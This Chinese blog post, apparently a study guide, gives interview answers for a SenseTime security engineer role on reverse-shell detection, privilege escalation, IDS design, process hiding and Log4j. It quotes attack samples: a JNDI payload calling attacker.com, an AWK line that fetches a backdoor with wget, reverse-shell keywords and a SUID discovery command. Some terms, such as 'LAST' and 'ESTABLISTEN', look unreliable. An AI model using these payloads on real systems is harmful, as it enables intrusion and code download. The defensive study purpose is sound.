2025年渗透测试面试题总结-某商汤科技-安全开放工程师(题目+回答)

发布于:2025-03-30 ⋅ 阅读:(18) ⋅ 点赞:(0)

 网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 商汤科技-安全开放工程师

一、服务器端口与远程状态监控

1. 如何查看服务器端口状况

2. 如何查看远程服务器状态

二、反弹Shell检测技术

1. 反弹Shell的行为特征

2. 进阶检测方法

3. 针对AWK攻击的检测

三、提权手段与检测方法

1. SUID提权

2. 其他提权手段与检测

四、入侵检测系统(IDS)设计要点

1. 多维度数据采集

2. 威胁情报集成

3. 响应与溯源能力

五、进程隐藏技术与对抗

1. 常见隐藏技术

2. 检测方法

六、Log4j漏洞检测与LAST分析

1. Log4j检测原理

2. LAST(日志分析与溯源工具)

七、跨进程溯源技术

1. 进程间触发关系追踪

2. 动态追踪技术

 商汤科技-安全开放工程师

如何查看自己服务器的端口状况
如何查看远程服务器情况
反弹shell如何检测
如果攻击者使用了AWK如何检测  
除了进程树的命令匹配,还有可以检测反弹shell的方法吗?
提权手段
SUID提权
分别说说这几类提权的检测方法
如果让你设计一款入侵检测系统,你会往哪几方面考虑(发散思维)(文件、网络连接、进程)
进程隐藏技术
log4j检测原理
聊聊LAST    
如果进程下,A进程的Source触发了B进程的sink点,如何溯源?

一、服务器端口与远程状态监控

1. 如何查看服务器端口状况
  • 工具与命令
    • netstat -tulnp:显示所有TCP/UDP监听端口及关联进程(-t为TCP,-u为UDP,-l为监听,-n禁用域名解析,-p显示进程)。
    • ss -sptn:替代netstat的高效工具,支持过滤特定状态(如ESTABLISTEN)。
    • lsof -i :<端口号>:查看指定端口的进程及文件句柄,适用于调试端口占用问题。
    • nmap -sS 127.0.0.1:本地端口扫描,检测隐藏服务(如未监听的临时端口)。
  • 自动化监控
    • 使用Prometheus + Node Exporter采集端口指标,通过Grafana可视化异常端口变化。
    • 编写脚本周期性执行netstat,对比历史数据发现新增可疑端口。
  • 安全实践
    • 禁用非必要服务(如systemctl stop rpcbind),减少攻击面。
    • 利用防火墙(iptables/firewalld)限制端口访问范围(如仅允许特定IP访问SSH)。
2. 如何查看远程服务器状态
  • 基础命令
    • ssh user@host "top -b -n 1":远程执行命令获取资源使用率(CPU、内存)。
    • scp user@host:/var/log/syslog ./:拉取远程日志进行离线分析。
  • 高级工具
    • Ansible Ad-Hoc:批量执行ansible all -m shell -a "df -h"收集磁盘信息。
    • Zabbix Agent:部署监控代理,实时采集远程服务器的性能与服务状态。
  • 云原生方案
    • AWS CloudWatch、阿里云监控:集成ECS实例的CPU、网络流量、进程级监控。
    • 通过SSM Session Manager实现无SSH密钥的远程管理,避免端口暴露。

二、反弹Shell检测技术

1. 反弹Shell的行为特征
  • 网络层检测
    • 监控出站连接至非常用端口(如4444、5555)或境外IP。
    • 分析TCP连接行为:长时间保持的交互式会话(与HTTP短连接对比)。
  • 进程层检测
    • 进程树异常:Shell进程(如/bin/bash)的父进程非SSH或终端(如父进程为Web服务)。
    • 命令行特征:包含/dev/tcpnc -ebash -i等关键字。
  • 日志审计
    • 检查/var/log/auth.log 中的异常SSH登录记录。
    • 分析auditd日志,追踪execve系统调用执行可疑二进制文件。
2. 进阶检测方法
  • 流量Payload分析
    • 使用tcpdump捕获流量,检测明文传输的Shell命令(如whoamiid)。
    • 对加密流量(如HTTPS)进行JA3指纹识别,匹配已知C2工具(如Metasploit、Cobalt Strike)。
  • 行为沙箱检测
    • 在隔离环境中运行可疑进程,观察是否尝试建立反向连接。
    • 监控进程的文件操作(如下载/tmp目录下的恶意脚本)。
  • EDR解决方案
    • CrowdStrike Falcon、微软Defender for Endpoint:基于端点行为模型检测交互式Shell活动。
    • 通过Hook系统调用(如connectexecve)实时阻断恶意行为。
3. 针对AWK攻击的检测
  • 恶意AWK脚本特征
    • 脚本中包含网络操作(如通过/inet/tcp建立Socket连接)。
    • 执行外部命令(如system("wget http://malicious.com/backdoor") )。
  • 防御策略
    • 限制AWK执行权限:使用chmod a-x /usr/bin/awk或AppArmor限制功能。
    • 审计计划任务和系统服务,排查通过cron调用的可疑AWK脚本。

三、提权手段与检测方法

1. SUID提权
  • 原理:利用具有SUID权限的可执行文件(如/bin/ping/usr/bin/find),以文件所有者(如root)身份执行命令。
  • 检测方法
    • 查找SUID文件find / -perm -4000 -type f 2>/dev/null
    • 对比基线:使用rpm -Vadebsums验证系统文件完整性,发现被篡改的SUID文件。
    • 监控文件变更:通过inotify实时监控/usr/bin等目录的SUID属性变化。
  • 防御措施
    • 最小化SUID文件数量:chmod u-s /path/to/file
    • 使用SELinux/AppArmor限制SUID进程的能力(如禁止网络访问)。
2. 其他提权手段与检测
  • 内核漏洞利用
    • 检测:监控dmesg日志中的内核Oops信息;使用lynis扫描未修复的CVE。
    • 防御:及时更新内核,禁用危险模块(如modprobe -r msr)。
  • Sudo配置错误
    • 检测:审计/etc/sudoers中NOPASSWD权限和通配符滥用。
    • 防御:遵循最小权限原则,使用visudo严格配置命令白名单。
  • 环境变量劫持
    • 检测:检查动态链接库路径(LD_LIBRARY_PATH)和ld.so.preload 文件。
    • 防御:设置sudosecure_path,限制环境变量继承。

四、入侵检测系统(IDS)设计要点

1. 多维度数据采集
  • 文件监控
    • 文件完整性校验(如AIDE):对比哈希值、权限、时间戳。
    • 实时监控敏感目录(如/etc/root)的文件创建、修改事件。
  • 网络连接分析
    • 解析Netflow数据,识别低频慢速扫描(如Log4j漏洞探测)。
    • 对加密流量进行TLS证书指纹匹配,发现恶意C2通信。
  • 进程行为建模
    • 建立进程启动基线,检测异常进程链(如apache → bash → curl)。
    • 捕获进程内存中的恶意代码注入(如Meterpreter反射DLL)。
2. 威胁情报集成
  • IoC匹配
    • 集成MITRE ATT&CK框架,关联攻击者TTPs(战术、技术、过程)。
    • 自动化拉取威胁情报(如AlienVault OTX),实时阻断已知恶意IP。
  • 行为分析引擎
    • 使用机器学习模型(如孤立森林)检测资源访问异常(如数据库敏感表遍历)。
    • 构建用户行为画像(UEBA),发现横向移动或数据外传。
3. 响应与溯源能力
  • 自动化响应
    • 联动防火墙隔离失陷主机,阻断恶意IP的出站连接。
    • 通过SOAR平台自动下发排查命令(如收集进程树、内存快照)。
  • 取证与溯源
    • 保存完整流量PCAP和系统日志,支持时间线重建。
    • 使用Volatility分析内存镜像,提取攻击者植入的Shellcode或凭证。

五、进程隐藏技术与对抗

1. 常见隐藏技术
  • 用户态隐藏
    • LD_PRELOAD劫持:替换readdir函数,过滤/proc中的进程目录。
    • Mount Namespace:通过unshare -m挂载新的/proc,隐藏特定进程。
  • 内核态隐藏
    • Rootkit驱动:Hooksys_getdents系统调用,绕过pstop等工具。
    • eBPF程序注入:动态修改内核数据结构(如任务队列),删除目标进程节点。
2. 检测方法
  • 跨视角对比
    • 对比pstop/proc目录中的进程列表差异。
    • 使用unhide-posix工具扫描隐藏进程。
  • 内存取证
    • 通过LiME获取内存镜像,使用Volatilitypsxview插件分析进程链表。
  • 硬件辅助检测
    • 利用Intel PT(Processor Trace)追踪指令流,发现未在进程列表中运行的代码。

六、Log4j漏洞检测与LAST分析

1. Log4j检测原理
  • 漏洞原理:JNDI注入(如${jndi:ldap://attacker.com/Exploit} )触发远程类加载。
  • 检测方法
    • 流量特征:匹配${jndi:ldap://rmi://等关键字。
    • 日志审计:扫描日志文件中的异常JNDI请求(如非常用域名)。
    • 版本检查:使用log4j-core-*.jar的MANIFEST.MF验证版本号是否低于2.17.0。
2. LAST(日志分析与溯源工具)
  • 应用场景
    • 聚合多源日志(如Nginx、Kubernetes),关联攻击事件。
    • 通过时间戳排序,重建攻击链(如SQL注入后的WebShell上传)。
  • 关键技术
    • 正则表达式引擎:高效提取日志中的IP、URL、状态码。
    • 统计模型:识别日志洪泛(如CC攻击)或低频隐蔽攻击(如APT)。

七、跨进程溯源技术

1. 进程间触发关系追踪
  • 进程树分析
    • 使用pstreeps -ejH查看进程父子关系,定位源头(如Web服务启动恶意子进程)。
    • 审计fork/execve系统调用,记录进程创建链。
  • 文件与Socket关联
    • 通过lsoffuser查找进程打开的文件描述符(如共享内存、管道)。
    • 分析Unix域套接字(ss -x)的通信路径,跨进程传递恶意指令。
2. 动态追踪技术
  • eBPF程序
    • 编写BPF脚本监控ptrace调用,检测进程注入行为(如GDB调试恶意代码)。
    • 跟踪进程间信号传递(如SIGTERMSIGSEGV),发现异常终止。
  • 审计框架
    • 配置auditd规则记录进程间IPC操作(如keyctlshmctl)。
    • 使用ausearch工具查询特定进程的交互事件。